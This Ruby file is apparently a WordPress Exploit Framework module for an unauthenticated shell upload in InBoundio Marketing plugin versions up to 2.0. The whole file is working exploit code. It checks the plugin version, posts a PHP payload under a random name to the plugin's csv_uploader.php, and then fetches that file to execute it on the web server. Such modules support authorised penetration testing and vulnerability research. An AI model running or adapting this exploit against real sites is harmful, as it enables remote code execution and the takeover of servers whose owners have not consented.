# frozen_string_literal: true

class Wpxf::Exploit::InboundioMarketingShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'InBoundio Marketing Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '<= 2.0 of the InBoundio Marketing plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'KedAns-Dz', # Vulnerability discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['EDB', '36478'],
        ['WPVDB', '7864']
      ],
      date: 'Mar 24 2015'
    )
  end

  def check
    check_plugin_version_from_readme('inboundio-marketing', '2.1')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'inboundio-marketing')
  end

  def uploader_url
    normalize_uri(plugin_url, 'admin', 'partials', 'csv_uploader.php')
  end

  def payload_body_builder(payload_name)
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('file', payload.encoded, payload_name)
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: uploader_url, body: body)
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    payload_url = normalize_uri(plugin_url, 'admin', 'partials', 'uploaded_csv', payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)

    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
